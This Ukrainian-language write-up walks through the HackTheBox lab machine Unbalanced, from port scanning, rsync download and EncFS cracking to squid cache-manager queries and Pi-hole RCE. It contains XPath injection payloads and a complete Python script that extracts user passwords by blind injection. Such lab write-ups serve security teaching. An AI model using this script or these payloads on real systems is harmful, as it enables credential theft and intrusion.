Розглядаємо, як професійні тестувальники безпеки та хакери знаходять і використовують вразливості у системах. На прикладі віртуальної машини Unbalanced, яка представлена на платформі HackTheBox, описано детальний процес атаки, який допоможе зрозуміти принципи роботи таких технік і захистити власні дані.
Ця машина має IP адресу 10.10.10.200, яку я додаємо в /etc/hosts.
10.10.10.200 unbalanced.htb
Спочатку здійснюється сканування відкритих портів. Для цього використовується скрипт, який приймає один аргумент — адресу хоста, що аналізується:
#!/bin/bash ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) nmap -p$ports -A $1
Під час сканування виявлено служби SSH, rsync і проксі squid. Rsync — це програма для UNIX-подібних систем, яка забезпечує синхронізацію файлів і каталогів у двох місцях із мінімальним використанням трафіку. Вона дозволяє копіювати або відображати вміст каталогів, а також копіювати файли з опціями стиснення та рекурсії.
Далі буде виконано перегляд списку доступних модулів.
rsync --list-only rsync://unbalanced.htb:873
Скопіюємо conf_backups.
rsync -av rsync://unbalanced.htb:873/conf_backups conf_backups
Виявлення файлу .encfs6.xml свідчить про наявність зашифрованого тому EncFS. Наступним кроком буде отримання хешу пароля.
Переберемо його.
Таким чином ми отримуємо пароль, за допомогою якого виконано шифрування. Залишилось монтувати розділ.
І отримуємо вже звичайний перелік файлів.
В основному це конфігураційні файли, і нас найбільше цікавить squid.conf. Подивимося на всі незакоментовані рядки.
cat squid.conf | grep -v '^#' | uniq
Пароль зберігається, а нове доменне ім’я додається до файлу /etc/hosts. Після цього виконується перегляд списків доступу ACL для подальшого аналізу.
10.10.10.200 intranet.unbalanced.htb
Встановимо в браузері проксі і звернемося по знайденому доменному імені до веб-сервера.
На екрані з’являється форма авторизації. Після певного часу, витраченого на її аналіз, прийнято рішення продовжити роботу з squid для подальшого дослідження.
Давайте подивимося доступні опції.
squidclient -h 10.10.10.200 -w 'Thah$Sh1' mgr:menu | grep -v 'disabled'
Можемо знайти ще доменні імена.
squidclient -h 10.10.10.200 -w 'Thah$Sh1' mgr:fqdncache
Є ще три імені. Додаємо їх у /etc/hosts (останнє було підібрано логічно).
172.31.179.2 intranet-host2.unbalanced.htb 172.31.179.3 intranet-host3.unbalanced.htb 172.31.179.1 intranet.unbalanced.htb
На першому ж бачимо, що цей сайт – тимчасове рішення.
Далі потрапляємо на таку форму авторизації.
Знову її тестуємо та отримуємо реакцію на запит ‘or”=’.
Отримано список користувачів за допомогою XPath-ін’єкції. За допомогою спеціальних запитів можна дізнатися паролі для відповідних імен.
Спочатку визначається довжина пароля за допомогою функції string-length. Для тестування використовується логін: відомо, що довжина пароля становить 5. Перевіряється умова для довжини 4 і 5, щоб побачити різницю.
Різниця помітна. Після визначення довжини пароля можна по одному символу отримати пароль. Для цього також використовується тестування на логіні: спочатку перевіряється перша буква, порівнюючи її з a, а потім із b.
Різниця також помітна. Наступним кроком буде написання коду, який автоматизує перебір усіх паролів для кожного логіну.
import requests import string url = 'http://172.31.179.1/intranet.php' proxies = {'http':'http://10.10.10.200:3128'} users = ['bryan','sarah', 'jim', 'rita'] pass_str_len = "' or Username='USER' and string-length(Password)='" pass_str_chr = "' or Username='USER' and substring(Password,NUM,1)='" for user in users: for l in range(1,25): data = {'Username': '', 'Password': pass_str_len.replace('USER', user) + str(l) } request = requests.post(url=url, data=data, proxies=proxies) print('(' + str(l) + ') ' + user + ' : ' + ' '*10, end="\r") if 'Invalid credentials.' not in request.text: passwd = '' for num in range(l): for c in string.printable[:94]: data = {'Username': '', 'Password': pass_str_chr.replace('USER', user).replace('NUM', str(num+1)) + c } request = requests.post(url=url, data=data, proxies=proxies) print('(' + str(l) + ') ' + user + ' : ' + passwd + c +' '*10, end='\r') if 'Invalid credentials.' not in request.text: passwd += c break print(user +" : "+ passwd + " "*10) break
Перший користувач отримує доступ до SSH за допомогою знайденого пароля.
У домашній директорії користувача знаходимо TODO список.
Бачимо, що ще виконані завдання, пов’язані з Pi-hole (пароль admin). Але переглянути відкриті порти не вийшло, оскільки немає netstat. Тоді можна скористатися цим скриптом.
Відкриті порти 8080 та 5553.
У відповіді виявлено ще один домен і відповідну йому IP-адресу. Далі налаштовується перенаправлення порту, після чого здійснюється звернення через браузер.
ssh -L 8080:127.0.0.1:8080 [email protected]
Переходи на сторінку і авторизуємо з паролем admin.
Подивимося експлоїти.
Запускаємо лістенер, після чого виконується експлоїт для подальшого отримання доступу.
У скрипті виявлено пароль.
У статті розглянуто методи роботи з машиною HackTheBox: використання rsync, підбір пароля для EncFS, робота зі squid, XPath-ін’єкція та експлуатація RCE в Pi-hole. Отримано список користувачів, доступ до SSH, новий домен і скрипт із паролем. Використані техніки демонструють важливість оновлення систем і захисту даних.